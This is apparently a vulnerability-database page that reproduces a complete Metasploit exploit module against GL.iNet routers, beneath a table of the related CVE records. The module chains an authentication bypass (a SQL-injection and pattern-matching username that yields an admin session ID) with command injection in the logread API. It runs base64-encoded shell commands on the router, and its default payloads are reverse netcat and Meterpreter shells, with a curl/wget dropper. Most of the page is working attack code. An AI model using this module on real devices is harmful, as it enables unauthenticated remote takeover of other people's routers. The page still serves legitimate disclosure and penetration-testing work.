| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| GL.iNet Unauthenticated Remote Command Execution Exploit | 24 Jan 202400:00 | – | zdt | |
| CVE-2023-50445 | 28 Dec 202305:15 | – | attackerkb | |
| CVE-2023-50445 | 28 Dec 202306:26 | – | circl | |
| CVE-2023-50919 | 12 Jan 202409:26 | – | circl | |
| GL.iNet Multiple Products Operating System Command Injection Vulnerability | 28 Dec 202300:00 | – | cnnvd | |
| GL.iNet Multiple Products Operating System Command Injection Vulnerability | 12 Jan 202400:00 | – | cnnvd | |
| CVE-2023-50445 | 28 Dec 202300:00 | – | cve | |
| CVE-2023-50919 | 12 Jan 202400:00 | – | cve | |
| CVE-2023-50445 | 28 Dec 202300:00 | – | cvelist | |
| CVE-2023-50919 | 12 Jan 202400:00 | – | cvelist |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest/md5'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',
'Description' => %q{
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
interface in the `logread` module.
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- X3000: v4.0.0 - v4.4.2;
- XE3000: v4.0.0 - v4.4.3;
- SFT1200: v4.3.6;
- and potentially others (just try ;-)
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
when using the Linux Dropper target.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Unknown', # Discovery of the vulnerability CVE-2023-50445
'DZONERZY' # Discovery of the vulnerability CVE-2023-50919
],
'References' => [
['CVE', '2023-50445'],
['CVE', '2023-50919'],
['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],
['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],
['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],
['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']
],
'DisclosureDate' => '2023-12-10',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],
'Linemax' => 900,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('SID', [false, 'Session ID'])
])
end
def vuln_version?
@glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }
# check first with version 4.x api call
post_data = {
jsonrpc: '2.0',
id: rand(1000..9999),
method: 'call',
params: [
'',
'ui',
'check_initialized',
{}
]
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'text/json',
'uri' => normalize_uri(target_uri.path, 'rpc'),
'data' => post_data.to_s
})
if res && res.code == 200 && res.body.include?('result')
res_json = res.get_json_document
unless res_json.blank?
@glinet['model'] = res_json['result']['model']
@glinet['firmware'] = res_json['result']['firmware_version']
end
else
# check with version 3.x api call. These versions are NOT vulnerable
res = send_request_cgi({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')
})
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
res_json = res.get_json_document
unless res_json.blank?
@glinet['model'] = res_json['model']
@glinet['firmware'] = res_json['version']
end
end
end
# check for the vulnerable models and firmware versions
case @glinet['model']
when 'sft1200'
@glinet['arch'] = 'mipsle'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')
when 'ar750', 'ar750s', 'ar300m', 'ar300m16'
@glinet['arch'] = 'mipsbe'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
when 'mt300n-v2', 'mt1300'
@glinet['arch'] = 'mipsle'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
when 'ap1300', 'b1300'
@glinet['arch'] = 'armle'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
when 'e750', 'e750v2'
@glinet['arch'] = 'mipsbe'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
when 'mv1000'
@glinet['arch'] = 'armle'
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
when 'ax1800', 'axt1800', 'a1300'
@glinet['arch'] = 'armle'
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
when 'mt2500', 'mt2500a', 'mt3000'
@glinet['arch'] = 'aarch64'
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
when 'mt6000'
@glinet['arch'] = 'aarch64'
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')
when 'x3000'
@glinet['arch'] = 'aarch64'
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')
when 'xe3000'
@glinet['arch'] = 'aarch64'
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')
end
@glinet['arch'] = 'n/a'
return false
end
def auth_bypass
# Check if datastore['SID'] is set
return datastore['SID'] unless datastore['SID'].blank?
# Exploit CVE-2023-50919 to retrieve the SID without valid username and password.
# Send an RPC request calling the challenge method, which will return a random nonce,
# the selected root user’s salt, and the crypt’s algorithm to hash the password.
post_data = {
jsonrpc: '2.0',
id: rand(1000..9999),
method: 'challenge',
params: {
username: 'root'
}
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'text/json',
'uri' => normalize_uri(target_uri.path, 'rpc'),
'data' => post_data.to_s
})
if res && res.code == 200 && res.body.include?('nonce')
res_json = res.get_json_document
unless res_json.blank?
nonce = res_json['result']['nonce']
end
else
fail_with(Failure::NotFound, 'Getting the random nonce failed.')
end
# Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username
# Use the SQL injection part to lookup the ACLs for root stored in sqlite db
# Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce
username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
pw = '0'
hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")
# Login with the password hash and obtain the SessionID (SID)
post_data = {
jsonrpc: '2.0',
id: rand(1000..9999),
method: 'login',
params: {
username: username.to_s,
hash: hash.to_s
}
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'text/json',
'uri' => normalize_uri(target_uri.path, 'rpc'),
'data' => post_data.to_s
})
if res && res.code == 200 && res.body.include?('sid')
res_json = res.get_json_document
unless res_json.blank?
sid = res_json['result']['sid']
end
else
fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')
end
return sid
end
def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"
post_data = {
jsonrpc: '2.0',
id: rand(1000..9999),
method: 'call',
params: [
@sid.to_s,
'logread',
'get_system_log',
{
lines: '',
module: "|#{cmd}"
}
]
}.to_json
return send_request_cgi({
'method' => 'POST',
'ctype' => 'text/json',
'cookie' => "Admin-Token=#{@sid}",
'uri' => normalize_uri(target_uri.path, 'rpc'),
'data' => post_data.to_s
})
end
def check
print_status("Checking if #{peer} can be exploited.")
# Check if target is a GL.iNet network device and the firmware version is vulnerable
return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?
unless @glinet['firmware'].nil?
# GL.iNet network devices with firmware version 3.x that are safe from this exploit
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')
# GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)
if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")
end
return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')
end
# No GL.iNet network device or not reachable
CheckCode::Unknown('No GL.iNet network device or device is not responding.')
end
def exploit
@sid = auth_bypass
print_status("SID: #{@sid}")
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation